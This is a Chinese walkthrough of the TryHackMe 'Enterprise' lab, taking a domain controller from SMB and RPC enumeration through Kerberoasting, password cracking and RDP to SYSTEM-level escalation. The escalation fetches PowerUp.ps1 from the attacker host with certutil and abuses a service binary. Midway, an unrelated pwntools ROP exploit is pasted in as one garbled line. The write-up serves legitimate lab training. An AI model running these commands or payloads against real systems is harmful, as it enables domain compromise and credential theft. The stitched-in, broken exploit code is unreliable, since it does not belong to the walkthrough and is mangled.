THM-Enterprise
靶机ip:10.10.76.81
信息收集
nmap扫描
1 | nmap --min-rate 10000 -A -sV -sC -p- 10.10.184.113 |
1 | Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-23 15:44 CST |
不难看出这是一台域控机器,开放了若干端口,域名为LAB.ENTERPRISE.THM
,将其添加到/etc/hosts
文件中
SMB
先简单探测下smb服务
1 | smbclient -L //10.10.184.113 |
发现一些共享目录,尝试匿名登陆访问
1 | smbclient //10.10.184.113/Docs |
发现两个文件get
下来
1 | smbclient //10.10.184.113/Users |
把desktop.ini
下载下来,同时在Users
目录中,找到一些用户名
将用户名保存下来
在Default
目录中找到些文件,查看一下之前下载的文件
发现这两个文件需要密码才能查看
80端口
默认页面没什么信息,扫描一下后台
没啥用
7990端口
这是一个Atlassian
并且发现内容是Enterprise-THM
,正在迁移至github,我们上去google搜索一下
注意到有个用户Nik-enterprise-dev
,里面有一个库mgmtScript.ps1
,库里面还有个ps1文件mgmtScript.ps1
查看一下历史记录
发现了他的用户名及密码nik:ToastyBoi!
rpc
有了一组用户凭据,尝试探测一下rpc
,枚举一下用户
1 | rpcclient lab.enterprise.thm -U nik --password="ToastyBoi!" |
找到很多域用户,将其保存到users
文件中,方便后续利用
rdp登录bitbucket
有了一组凭据和用户名列表就可以尝试AS-REP Roasting
,检查一下域中用户是否有用户禁用了预身份验证,如果有的话,我们就可以请求TGT
密钥,就可以尝试离线破解密钥
1 | GetNPUsers.py lab.enterprise.thm/ -usersfile users -dc-ip 10.10.184.113 |
接下来查看是否有用户设置了SPN
,如果有的话,我们可以请求TGS
密钥
1 | GetUserSPNs.py lab.enterprise.thm/nik:ToastyBoi! |
发现bitbucket
用户设置了SPN
,我们请求TGS
并尝试破解
1 | GetUserSPNs.py lab.enterprise.thm/nik:ToastyBoi! -request |
将上述票据保存为hash
,使用john
爆破hash
值
john hash --wordlist=/usr/share/wordlists/rockyou.txt
john hash -show
爆破出密码littleredbucket
rdp尝试登陆
1 | xfreerdp /u:bitbucket /p:littleredbucket /v:lab.enterprise.thm |
在桌面找到user.txt
提权至root
使用PowerUp.ps1
来分析可能提升权限的漏洞,将文件传到靶机上
攻击机启动python服务
从受害者机器上,我们使用certutil
从 Powershell
获取可执行文件:
1 | certutil.exe -urlcache -f http://10.14.90.122:8000/PowerUp.ps1 PowerUp.ps1 |
运行PowerUp.ps1
后执行Invoke-AllChecks
1 | . .\PowerUp.ps1 |
我们发现zerotieroneservice
是作为SYSTEM
运行的,并且可以重启该服务
使用下面的命令滥用此功能,将当前用户bitbucket
添加到管理员组
1 | Install-ServiceBinary -Name "zerotieroneservice" -Command "net localgroup Administrators lab.enterprise.thm\bitbucket /add" |
执行后,我们重启zerotieroneservice
服务
1 | sc.exe stop zerotieroneservice |
xxxxxxxxxx105 1from pwn import2import ctypes345context(os=‘linux’,arch=‘amd64’,log_level=‘debug’)6libc=ELF(‘./libc.so.6’) 7elf=ELF(‘./vuln’)8#p=remote(“pwn-ecdfbe9bc0.challenge.xctf.org.cn”, 9999, ssl=True)9p=process(‘./vuln’)1011 1213141516def xun():1718 for i in range(100):19 #print(payload)20 p.recvuntil(b’Input the authentication code:‘)21 #payload = str((elf1.rand()%100) + 1)22 #p.send(payload)23 p.send(p64(elf1.rand()%100+1))24 25 # sleep(0.1)26 27 28rdi=0x000000000040189329#gdb.attach§30#pause31p.send(b’1’)32#sleep(0.5)33elf1=ctypes.CDLL(“./libc.so.6”)34#elf1=ctypes.LoadLibrary(“./libc.so.6”)35elf1.srand(elf1.time(0)) #与题目相同以时间为种子3637xun()3839p.sendafter(">> ",p32(1))40p.sendafter("Index: ",p32(1))41p.sendafter("Note: ",b’a’)4243payload=b’a’(0x100+8)+p64(rdi)+p64(elf.got[‘puts’])+p64(elf.plt[‘puts’])+p64(0x00000000040177B)44#bug()45p.send(payload)4647libc_base=u64(p.recvuntil(“\x7f”)[-6:].ljust(8,b’\x00’))-libc.sym[‘puts’]48#print(hex(libc_base))49print(hex(libc_base))50515253rdi = libc_base+0x0000000000023b6a54rsi = libc_base+0x000000000002601f55rdx = libc_base+0x0000000000142c9256rdx_r12=libc_base+0x000000000011921157rax = libc_base+0x000000000003617458ret = libc_base+0x000000000002267959syscall=libc_base+0x000000000002284d60open_=libc_base+libc.sym[‘open’]61read=libc_base + libc.sym[‘read’]62write=libc_base + libc.sym[‘write’]63mprotect=libc_base + libc.sym[‘mprotect’]64bss=0x404060+0x500656667p.send(b’1’)68#sleep(0.5)69elf1=ctypes.CDLL(“./libc.so.6”)70#elf1=ctypes.LoadLibrary(“./libc.so.6”)71elf1.srand(elf1.time(0)) #与题目相同以时间为种子7273xun()7475p.sendafter(">> ",p32(1))76p.sendafter("Index: ",p32(1))77p.sendafter("Note: ",b’a’0x100)787980#rl(“lets move and pwn!”)81payload=b’a’(0x100)+p64(bss)+p64(rsi)+p64(bss)+p64(read)+p64(0x0004013EE)82#bug()83p.send(payload)84#pause()8586orw = b’/flag\x00\x00\x00’87orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改88orw += p64(rsi) + p64(0)89orw += p64(open_)9091orw += p64(rdi) + p64(3)92orw += p64(rdx_r12) + p64(0x50)*293orw += p64(rsi)+p64(bss+0x200) #读入flag的位置94orw += p64(read)95orw += p64(rdi) + p64(1)96orw += p64(rdx_r12) + p64(0x50)*297orw += p64(rsi)+p64(bss+0x200) #读入flag的位置98orw += p64(write)99100#print(hex(len(orw)))101print(hex(len(orw)))102p.send(orw)103104105p.interactive()python
查看一下当前用户
1 | net user bitbucket |
发现我们当前属于Administrator
组
使用evil-winrm
登录(使用evil-winrm的原因纯粹是因为我rdp登录卡的要死)
1 | evil-winrm -i 10.10.76.81 -u bitbucket -p littleredbucket |
找到root.txt